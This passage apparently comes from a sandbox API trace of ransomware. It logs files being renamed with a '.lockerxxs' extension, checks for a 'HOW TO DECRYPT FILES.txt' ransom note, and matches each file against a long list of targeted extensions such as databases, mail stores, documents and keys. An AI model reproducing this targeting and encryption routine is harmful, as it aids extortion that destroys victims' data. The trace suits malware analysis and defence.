lpOverlapped=0x0) returned 1 [0065.437] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.437] CloseHandle (hObject=0x98) returned 1 [0065.438] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg.lockerxxs")) returned 1 [0065.439] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="MeetingIconMask.bmp", cAlternateFileName="MEETIN~1.BMP")) returned 1 [0065.440] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.440] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MeetingIconMask.bmp") returned -1 [0065.440] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MeetingIconMask.bmp") returned -1 [0065.440] lstrcmpiA (lpString1="", lpString2="MeetingIconMask.bmp") returned -1 [0065.440] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg") returned="MeetingIcon.jpg" [0065.440] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.440] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.440] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.440] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.440] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="MeetingIconMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp" [0065.440] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.ems") returned 0 [0065.440] lstrlenA (lpString="*.ems") returned 5 [0065.440] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.db") returned 0 [0065.440] lstrlenA (lpString="*.db") returned 4 [0065.440] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.dbf") returned 0 [0065.440] lstrlenA (lpString="*.dbf") returned 5 [0065.440] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.myox") returned 0 [0065.440] lstrlenA (lpString="*.myox") returned 6 [0065.440] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.myo") returned 0 [0065.440] lstrlenA (lpString="*.myo") returned 5 [0065.440] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.qbw") returned 0 [0065.441] lstrlenA (lpString="*.qbw") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.qbb") returned 0 [0065.441] lstrlenA (lpString="*.qbb") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.qbm") returned 0 [0065.441] lstrlenA (lpString="*.qbm") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.qbo") returned 0 [0065.441] lstrlenA (lpString="*.qbo") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.qbx") returned 0 [0065.441] lstrlenA (lpString="*.qbx") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.qba") returned 0 [0065.441] lstrlenA (lpString="*.qba") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.qby") returned 0 [0065.441] lstrlenA (lpString="*.qby") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.qbj") returned 0 [0065.441] lstrlenA (lpString="*.qbj") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.ofx") returned 0 [0065.441] lstrlenA (lpString="*.ofx") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.qif") returned 0 [0065.441] lstrlenA (lpString="*.qif") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.mye") returned 0 [0065.441] lstrlenA (lpString="*.mye") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.mbox") returned 0 [0065.441] lstrlenA (lpString="*.mbox") returned 6 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.eml") returned 0 [0065.441] lstrlenA (lpString="*.eml") returned 5 [0065.441] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.pst") returned 0 [0065.442] lstrlenA (lpString="*.pst") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.ost") returned 0 [0065.442] lstrlenA (lpString="*.ost") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.idx") returned 0 [0065.442] lstrlenA (lpString="*.idx") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.dbx") returned 0 [0065.442] lstrlenA (lpString="*.dbx") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.sql") returned 0 [0065.442] lstrlenA (lpString="*.sql") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.mdb") returned 0 [0065.442] lstrlenA (lpString="*.mdb") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.fdb") returned 0 [0065.442] lstrlenA (lpString="*.fdb") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.wab") returned 0 [0065.442] lstrlenA (lpString="*.wab") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.dat") returned 0 [0065.442] lstrlenA (lpString="*.dat") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.txt") returned 0 [0065.442] lstrlenA (lpString="*.txt") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.jpeg") returned 0 [0065.442] lstrlenA (lpString="*.jpeg") returned 6 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.jpg") returned 0 [0065.442] lstrlenA (lpString="*.jpg") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.png") returned 0 [0065.442] lstrlenA (lpString="*.png") returned 5 [0065.442] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.php") returned 0 [0065.442] lstrlenA (lpString="*.php") returned 5 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.cs") returned 0 [0065.443] lstrlenA (lpString="*.cs") returned 4 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.cpp") returned 0 [0065.443] lstrlenA (lpString="*.cpp") returned 5 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.rar") returned 0 [0065.443] lstrlenA (lpString="*.rar") returned 5 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.zip") returned 0 [0065.443] lstrlenA (lpString="*.zip") returned 5 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.html") returned 0 [0065.443] lstrlenA (lpString="*.html") returned 6 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.htm") returned 0 [0065.443] lstrlenA (lpString="*.htm") returned 5 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.xlsx") returned 0 [0065.443] lstrlenA (lpString="*.xlsx") returned 6 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.xls") returned 0 [0065.443] lstrlenA (lpString="*.xls") returned 5 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.mp4") returned 0 [0065.443] lstrlenA (lpString="*.mp4") returned 5 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.ppt") returned 0 [0065.443] lstrlenA (lpString="*.ppt") returned 5 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.pptx") returned 0 [0065.443] lstrlenA (lpString="*.pptx") returned 6 [0065.443] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.doc") returned 0 [0065.444] lstrlenA (lpString="*.doc") returned 5 [0065.444] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.dot") returned 0 [0065.444] lstrlenA (lpString="*.dot") returned 5 [0065.444] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.docx") returned 0 [0065.444] lstrlenA (lpString="*.docx") returned 6 [0065.444] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.7z") returned 0 [0065.444] lstrlenA (lpString="*.7z") returned 4 [0065.444] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.tar") returned 0 [0065.444] lstrlenA (lpString="*.tar") returned 5 [0065.444] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.bz2") returned 0 [0065.444] lstrlenA (lpString="*.bz2") returned 5 [0065.444] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.gz") returned 0 [0065.444] lstrlenA (lpString="*.gz") returned 4 [0065.444] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.mkv") returned 0 [0065.444] lstrlenA (lpString="*.mkv") returned 5 [0065.444] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.eml") returned 0 [0065.444] lstrlenA (lpString="*.eml") returned 5 [0065.444] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.msg") returned 0 [0065.444] lstrlenA (lpString="*.msg") returned 5 [0065.444] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.edb") returned 0 [0065.444] lstrlenA (lpString="*.edb") returned 5 [0065.445] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.accdb") returned 0 [0065.445] lstrlenA (lpString="*.accdb") returned 7 [0065.445] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.odb") returned 0 [0065.445] lstrlenA (lpString="*.odb") returned 5 [0065.445] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.java") returned 0 [0065.445] lstrlenA (lpString="*.java") returned 6 [0065.445] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.asm") returned 0 [0065.445] lstrlenA (lpString="*.asm") returned 5 [0065.445] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.pfx") returned 0 [0065.445] lstrlenA (lpString="*.pfx") returned 5 [0065.445] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.pem") returned 0 [0065.445] lstrlenA (lpString="*.pem") returned 5 [0065.445] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.p12") returned 0 [0065.445] lstrlenA (lpString="*.p12") returned 5 [0065.445] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.gpg") returned 0 [0065.445] lstrlenA (lpString="*.gpg") returned 5 [0065.445] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.vsd") returned 0 [0065.445] lstrlenA (lpString="*.vsd") returned 5 [0065.445] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.odg") returned 0 [0065.445] lstrlenA (lpString="*.odg") returned 5 [0065.445] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.raw") returned 0 [0065.445] lstrlenA (lpString="*.raw") returned 5 [0065.446] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.nef") returned 0 [0065.446] lstrlenA (lpString="*.nef") returned 5 [0065.446] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.svg") returned 0 [0065.446] lstrlenA (lpString="*.svg") returned 5 [0065.446] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.psd") returned 0 [0065.446] lstrlenA (lpString="*.psd") returned 5 [0065.446] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.vmx") returned 0 [0065.446] lstrlenA (lpString="*.vmx") returned 5 [0065.446] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.vmdk") returned 0 [0065.446] lstrlenA (lpString="*.vmdk") returned 6 [0065.446] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.vdi") returned 0 [0065.446] lstrlenA (lpString="*.vdi") returned 5 [0065.446] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.lay6") returned 0 [0065.446] lstrlenA (lpString="*.lay6") returned 6 [0065.446] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.mpeg") returned 0 [0065.446] lstrlenA (lpString="*.mpeg") returned 6 [0065.446] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.djvu") returned 0 [0065.446] lstrlenA (lpString="*.djvu") returned 6 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.tiff") returned 0 [0065.447] lstrlenA (lpString="*.tiff") returned 6 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.backup") returned 0 [0065.447] lstrlenA (lpString="*.backup") returned 8 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.pdf") returned 0 [0065.447] lstrlenA (lpString="*.pdf") returned 5 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.cert") returned 0 [0065.447] lstrlenA (lpString="*.cert") returned 6 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.docm") returned 0 [0065.447] lstrlenA (lpString="*.docm") returned 6 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.xlsm") returned 0 [0065.447] lstrlenA (lpString="*.xlsm") returned 6 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.dwg") returned 0 [0065.447] lstrlenA (lpString="*.dwg") returned 5 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.nd") returned 0 [0065.447] lstrlenA (lpString="*.nd") returned 4 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.tlg") returned 0 [0065.447] lstrlenA (lpString="*.tlg") returned 5 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.lgb") returned 0 [0065.447] lstrlenA (lpString="*.lgb") returned 5 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.mov") returned 0 [0065.447] lstrlenA (lpString="*.mov") returned 5 [0065.447] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.xdw") returned 0 [0065.448] lstrlenA (lpString="*.xdw") returned 5 [0065.448] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.ods") returned 0 [0065.448] lstrlenA (lpString="*.ods") returned 5 [0065.448] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.wav") returned 0 [0065.448] lstrlenA (lpString="*.wav") returned 5 [0065.448] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.mp3") returned 0 [0065.448] lstrlenA (lpString="*.mp3") returned 5 [0065.448] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.aiff") returned 0 [0065.448] lstrlenA (lpString="*.aiff") returned 6 [0065.448] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.flac") returned 0 [0065.448] lstrlenA (lpString="*.flac") returned 6 [0065.448] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.m4a") returned 0 [0065.448] lstrlenA (lpString="*.m4a") returned 5 [0065.448] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp", pszSpec="*.csv") returned 0 [0065.448] lstrlenA (lpString="*.csv") returned 5 [0065.448] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19e9, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="ProjectStatusIcons.jpg", cAlternateFileName="PROJEC~1.JPG")) returned 1 [0065.448] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.448] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProjectStatusIcons.jpg") returned -1 [0065.448] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProjectStatusIcons.jpg") returned -1 [0065.449] lstrcmpiA (lpString1="", lpString2="ProjectStatusIcons.jpg") returned -1 [0065.449] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft 